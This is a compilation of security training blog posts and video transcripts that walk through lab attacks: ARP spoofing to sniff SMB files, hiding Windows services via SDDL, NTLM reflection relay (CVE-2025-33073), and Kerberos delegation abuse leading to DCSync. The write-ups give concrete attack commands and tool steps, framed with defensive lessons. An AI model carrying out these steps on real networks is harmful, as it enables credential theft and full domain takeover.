Next, we look at SMB2 traffic. When the Windows client connects to the domain controller and creates a file (e.g., Secret.txt containing SomePassword123), the traffic is transparently routed through the Kali machine due to the ARP-spoofing attack. As a result, the unencrypted SMB data can be captured in Wireshark, allowing the file and its contents to be intercepted and saved. Not only can we view it in real time, but we can also export the file directly from Wireshark and save it locally. 

Key Takeaway 

This demo shows how ARP spoofing combined with unencrypted SMB traffic can expose sensitive information. Even if no passwords are typed directly, files containing credentials or other secrets can be silently intercepted. 

The lesson: Always secure your protocols. Use SMB encryption, network segmentation, and proper monitoring to prevent these types of attacks. 

And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!

Check out the course offer >>

---

Transcript of the video:

Hi and welcome back to another episode of CQURE Hacks.
Let’s dive into a new video.

Here we have a domain controller, let’s check.
We use host name and it’s DC01 then IP config.
The address is 10.10.10.10.

Next the Windows workstation host name and then we see it’s Windows 11 client 01.
ipconfig shows the address 10.10.10.40.

Finally, the Kali Linux machine: ifconfig – the address is 10.10.10.106.

But first, we need to prepare it by switching to root with sudo -s.
For the ARP config attack to work we need to enable packet forwarding and we do this with the command:

echo 1 > /proc/sys/net/ipv4/ip_forward

We also need the dsniff package, but it’s already installed here.

We know that DC01 has the address 10.10.10.10 and the Windows client has 10.10.10.40 so we can use the arpspoof tool from the dsniff package.
We specify the eth0 interface, and the command is:

arpspoof -i eth0 -t [Domain controller's IP address] -r [client's IP address]

The -r option means that we act in both directions.
The domain controller thinks we are the client and the client thinks we are the domain controller.

Now we see ARP replies where both IPs 10.10.10.10 and 10.10.10.40 are mapped to the same MAC address ending with 61:18:ae.
That’s the MAC of our Kali machine.

On Windows, we can check with arp -a.
The MAC 61:18:ae is assigned to both Kali and DC01, which confirms that ARP spoofing is active.

Let’s start Wireshark on Kali Linux.
Wireshark is a packet analyzer.
It can analyse traffic similar to tools like TCP dump.
It also allows capturing network traffic.

We see available interfaces eth0 and any which captures all.
We select eth0 and start listening.
In the display filter we type ICMP.

On the Windows client, we run: ping DC01.
We can see the ping is working.
The traffic goes from 10.10.10.40 to 10.10.10.10, and then replies from 10.10.10.10 back to 10.10.10.40.

In Wireshark we see ICMP traffic, echo request and echo reply.
If we check the Ethernet source field, we see the replies are coming from MAC 61:18:ae – our Kali machine.
That proves the ARP spoofing attack was successful.

Next we change the Wireshark display filter from ICMP to SMB 2.
Now we see SMB 2 traffic.

On the Windows client we open File Explorer and connect to \\dc01.
That’s of course the domain controller.
We see the NETLOGON folder.

Let’s create a file there named Secret.txt with the content: SomePassword123.

Back in Wireshark we can use the search function.
So for that press Control + F.
Choose the display filter and set it to string.
In the packet list switch to packet bytes.
Now type what we want to search for.

For example: “some”. Click find.
We can see the captured file Secret.txt with the content: SomePassword123.

This shows that with an ARP spoofing attack, if SMB is not encrypted, we can read transmitted content – including files that may contain passwords.

At this point we can stop Wireshark to avoid capturing more packets.
Now, let’s go to File → Export Objects.
Choose the SMB protocol.
Here we see our file Secret.txt.
We select it and click Save.

We can now save this file to the desktop as Secret.txt.
The file is saved on our desktop.

On the desktop we have Secret.txt with exactly the same content we created on the server.

This demonstrates that with ARP spoofing and unencrypted SMB, we can intercept files being transferred, including sensitive ones like password files.

The post CQURE Hacks #67 ARP Spoofing + SMB Sniffing: Stealing Files from the Network appeared first on CQURE Academy.

Understanding Hidden Services 

Let’s learn how to hide and uncover a service. This is a very important technique for post-incident investigation, as manipulating a service’s security descriptor can be a powerful method for persistence. 

There’s no direct mechanism to hide a service in Windows, but we can manipulate the Security Descriptor Definition Language (SDDL). 

We can do this using the built-in sc command. For example, if we run: 

sc sdshow <service-name> 

That gives us the current SDDL string, which we analyze when investigating persistence. 

Of course, this isn’t the only method for service persistence, but it’s one of the most important to understand. 

Demonstration: CQService 

We’ll be working with a service called CQService. 

If you open services.msc and refresh, you’ll see that CQService is running. It uses CQGoodservice.exe located in the C:\Tools folder. 

The service name and display name are the same: CQService. 

Now, if we apply a modified SDDL string using: 

sc sdset CQService <new-descriptor> 

…you’ll notice the service disappears from the list. Pressing F5 to refresh confirms this. 

Why is it gone? 

We’ve changed the service’s security descriptor to deny visibility or access through certain interfaces. 

Understanding the SDDL Structure 

In the SDDL string, there are multiple sections. The two most important are: 

• DACL (Discretionary Access Control List) 

• SACL (System Access Control List) 

We’re focused on the DACL here. 

• D: means deny 

• A: means allow 

For example: 

• IU = Interactive User (users logged in interactively) 

• BA = Built-in Administrators 

• SU = Service logon user 

There are specific permissions encoded as well: 

• DC = Delete Child 

• LC = Query Status (ability to ask SCM for service status) 

• RP = Start service 

• WP = Stop service 

• DT = Pause/Continue service 

• SD = Delete service 

So, by denying these permissions to users like IU, we effectively hide the service from standard queries. 

What Happens with PowerShell? 

Try: 

Get-Service 

The CQService doesn’t appear. 

Try: 

Get-Service -Name “CQService” 

It returns an error: the service isn’t found. But this is misleading—it is still there. 

To confirm: 

Set-Service -Name “CQService” -Status Stopped 

Suddenly, the system finds it. 

Why? Because different APIs respond differently based on permissions and visibility. 

Finding Hidden Services 

Now let’s use Autoruns. 

I ran Autoruns before modifying the SDDL. Under the Services tab, you can still see CQService and its executable. 

If we rescan, Autoruns still detects the service. Why? 

Because Autoruns reads the registry, not the SCM API. That’s why it still finds the service, even when it’s hidden from other tools. 

To go a step further, you could restrict registry permissions as well—but that’s another layer of persistence, and a separate configuration. 

Unhiding the Service 

To reverse the hiding, simply replace the SDDL with a generic or default one—maybe from another service. 

After setting a valid descriptor and refreshing the view, CQService reappears. 

Try: 

Get-Service -Name “CQService” 

Now you see it listed again. 

You can also inspect its details: the executable is still there, and the service is fully functional. 

Advanced Techniques 

There is also a way to hide a process in Windows using DKOM (Direct Kernel Object Modification). But this requires deeper access at the kernel level and often involves rootkits. 

That’s a more advanced topic, and something we could cover in further CQURE Hacks video. Let us know if you’re interested. 

And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!

Check out the course offer >>

Final Thoughts 

As you’ve seen, auditing the security descriptors of services is essential after an incident. You need to check who has the ability to start and stop services on any impacted host. 

The SC command is a powerful built-in tool for this kind of quick analysis. 

And remember, SDDL is the language used to define permissions for many object types in Windows—not just services, but also files, folders, registry keys, Active Directory objects, certificate templates, and even event logs. 

There are many creative and powerful uses for SDDL in cybersecurity. 

I hope this video helped you understand how service hiding works, how to detect it, and how to investigate and respond to these kinds of persistence mechanisms. 

Thanks a lot for watching. 

The post CQURE HACKS #66 Hiding and Modifying Windows Services with Service Control appeared first on CQURE Academy.

The threat is real – legitimate users can engineer malicious programs that deceive target systems into establishing authentication with a fake SMB server. This exploitation method delivers maximum system authority to attackers, granting them comprehensive dominance over the infiltrated machine.

So, let’s see how granting this access looks like in practice.

Before attempting exploitation, two conditions must be verified:

• The target machine must have SMB signing disabled. This configuration weakness permits authentication relay attacks through the SMB protocol.
• COERCER Vulnerability: The target system must be susceptible to authentication coercion techniques, which force the machine to initiate authentication requests to attacker-controlled servers.

Attempt 1: exploitation without adding DNS record

In this approach, we run the relay on this machine. Afterwards, we run PetitPotam and direct it to ourselves.  

Result? PetitPotam worked, but the machine couldn’t authenticate without the mentioned DNS record. 

Attempt 2: using a dedicated DNS record

We’re adding the DNS record to the IP address of the domain controller, and indicating it to our machine. Now, let’s also put add in the place of remove.

With these conditions, the operation is completed successfully.

Attempt 3: using the indication of the added DNS record

After re-running the ntlmrelay again, we change our IP address by the DNS record.  

And just like that, we succeeded, and our machine is relayed to itself. We dumped SAM successfully.

Attempt 4: skipping the DNS record

First, we start with turning off the relay, clearing it and adding one more terminal. 

We delete the previously added DNS record to avoid conflict, and now we can run the Responder with LLMNR poisoning. The Responder should have it turned on by default.  

Second, we can run the impacket-ntmlmrelayx and use netexec with the coerce_plus module to exploit the printerbugPrinterBug vulnerability with this DNS indication.  

You’ll see that tt doesn’t exist, but LLMNR poisoning helps us to identify our attacker’s machine.

After using it, the effect would be the same if we hadn’t added the DNS record. 

At this stage, we have obtained the hash of the local admin, so we can authenticate locally.  

Now, if we use module LSA from netexec, we can dump the LSSAS.

Conclusion

CVE-2025-33073 exemplifies how legacy authentication protocols can be exploited through protocol manipulation techniques. The vulnerability’s severity stems from its ability to transform limited network access into complete system compromise. Organizations must prioritize SMB hardening and authentication modernization to defend against these sophisticated reflection attacks.

And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!

Check out the course offer >>

---

Transcript of the video:

OK guys, let’s start by enumerating the machine that we want to attack.

First of all, we have to check if the SMB signing is off.

This allows us to relay via SMB. Next, the machine must be vulnerable to coerce.

That’s going to be the attack component. Now I’ll show you that without a special
DNS record, this attack won’t work.

But let’s try it anyway.
We run the relay on this machine and then we run PetitPotam and direct it to ourselves.
As we can see, PetitPotam worked, but a machine couldn’t authenticate without the mentioned DNS record.
OK, so let’s add this DNS record and it looks like this.
Here you have the IP address of the domain controller.
I’m adding the DNS record and indicating it to our machine.

Let me show you the IP that’s actually our machine.
So let’s also change, remove with add. OK, the operation is completed successfully.
Let’s try to launch the attack again, but this time by using the indication of added DNS record.

We rerun the NTLM relay.
Next we change our IP address by DNS record.
As you can see, we succeeded and our machine is relayed to itself.
We dumped SAM successfully.

Now I will show you the second way. We won’t add the DNS record this time.
OK, so let’s turn off the relay, clear it here and add one more terminal.

Let’s put it here.

First of all, we must delete this DNS record to avoid the conflict and make sure that everything gets just like starting from the scratch.
Now we can run the responder with LLMNR poisoning.
The responder should have it turned on by default, as you can see it’s on.
Next we can run impacket-ntlmrelayx and this time we will use netexec with the
coerce_plus module and exploit the PrinterBug vulnerability with this DNS indication.

As we can see, the effect will be the same if we hadn’t added the DNS record.
OK, so let’s see what we can do now.
We have the hash of the local admin and type admin here with his hash and as a local user
so we can authenticate locally.
We can use the module LSA from netexec.

And as we can see, we’ve got a little bit more information at our disposal.

The post CQURE HACKS #65 NTLM reflection SMB flaw – CVE-2025-33073: From zero to Domain Admin appeared first on CQURE Academy.

During the demonstration, you will see how to use PowerShell to gather more information about a user, generate a Ticket Granting Service (TGS) ticket using the S4U2proxy protocol with Rubeus, and perform a DCSync attack using Mimikatz.

This attack will show you how an account with constrained delegation rights, when compromised, can be leveraged to impersonate high-privilege users and gain elevated access to domain resources, making proper configuration and monitoring of these privileges critical for domain security.

After watching this, you can make sure to keep your kerberos delegations secure!

And if you’re hungry for more cybersecurity knowledge, we’ve opened the registration for our 6-weeks Advanced Windows Security Course 2026, ensuring you’re prepared for the threat landscape of the next year!

Check out the course offer >>

---

Transcript of the video:

So, let’s start by running PowerShell.

After using the whoami command, we see that we are JamesJ. Let’s import the PowerView module into PowerShell and get more information about user James using the Get-DomainUser command.

The user James has the value TRUSTED_TO_AUTH_FOR_DELEGATION (T2A4D) in userAccountControl; that means he can get a TGS for himself on behalf of any other user. An account can get a TGS on behalf of any user to the service set in msDS-AllowedToDelegateTo.

To do so, it first needs a TGS from that user to itself, but it can use the S4U2self to get that TGS before requesting the other.

Let’s check the next command for what it specifically owns. We see that we have the ability to delegate to LDAP and CIFS services on DC01.cqure.lab. Close PowerShell and open the command prompt. After using klist, we can see our current tickets.

Try to open the c$ directory on the domain controller. Access denied. Let’s now prepare for the attack.

The first step will be using Rubeus to change the password of our user, in this case James, to hashes/keys.

We copy the AES256 key and use Rubeus again with the s4u function.

We authenticate as the Administrator user, so in the impersonateuser we type Administrator, and in msdsspn we now use the CIFS service to get the ticket. As you can see, the ticket was imported successfully. Let’s try opening the DC01 directory again. We have successfully got the permissions to do so.

Now let’s try to connect using PsExec to DC01. We have also succeeded, let’s make sure with the hostname command that this is indeed the correct machine.

You can use whoami /all to check our privileges. We see that we are the Domain Admin. Ok, now exit this host, fire up a new command prompt, and clear our tickets with the klist purge command.

The next step is to reopen the c$ directory on DC01 after clearing the Kerberos tickets. We don’t have the permission to do it. We will now use the LDAP service instead of CIFS to show what the difference is.

We use the same command, only in msdsspn we specify LDAP instead of CIFS, and this time we’ll save the file to dc. kirbi to import it later into Mimikatz. Now let’s turn on Mimikatz and import this ticket. As you can see, importing is successful. Let’s try to use DCsync.

DCsync has been executed, and now let’s exit Mimikatz and try to reopen the c$ directory to dc01 only with the LDAP ticket.

As you can see, we can’t do this because SMB uses the CIFS service, not LDAP. And vice versa, it also works the same way the other way around. If we wanted to do a DCsync with a CIFS ticket, we can’t do it until we get the appropriate ticket.

The post CQURE Hacks #64: S4U2self in Pieces – Attacking Active Directory by Abusing Kerberos Delegation appeared first on CQURE Academy.

By leveraging snapshots, attackers can bypass security mechanisms and extract passwords or access tokens, allowing privilege escalation across the entire network. 

Watch the video above to find out how hackers can lay their hands on passwords by taking a snapshot of the running VM along with the memory and downloading the snapshot memory status files, VMM, and VMSN accelerate.

We hope this demonstration will help you understand how hackers work and how to keep your infrastructure secure from them.

Watch the full video with step-by-step guidance

The post Hacks Weekly #63 – Attacking LSASS memory through VM snapshot appeared first on CQURE Academy.

How can the Windows Mark-of-the-Web Protection be bypassed?

Amr Thabet, Malware Researcher & Incident Handler, presented some of the scenarios in episode 62 of our #HacksWeekly series!

Windows Mark-of-the-Web Protection is just the first layer of protection.

The problems start when users use 7-ZIP or delete the specific version of the file and download it again after some time—it won’t have a ZoneId, so the Mark-of-the-Web Protection won’t be there.

One might say that this is an exception and won’t happen to most users. Well, sure. However, even those 5% of users who accidentally bypass the protection can compromise your company’s safety

That’s why you should never rely 100% on one type of protection and always have multiple security levels implemented.

Watch the full video with step-by-step guidance

The post Hacks Weekly #62 – Bypassing Windows Mark of the Web Protection appeared first on CQURE Academy.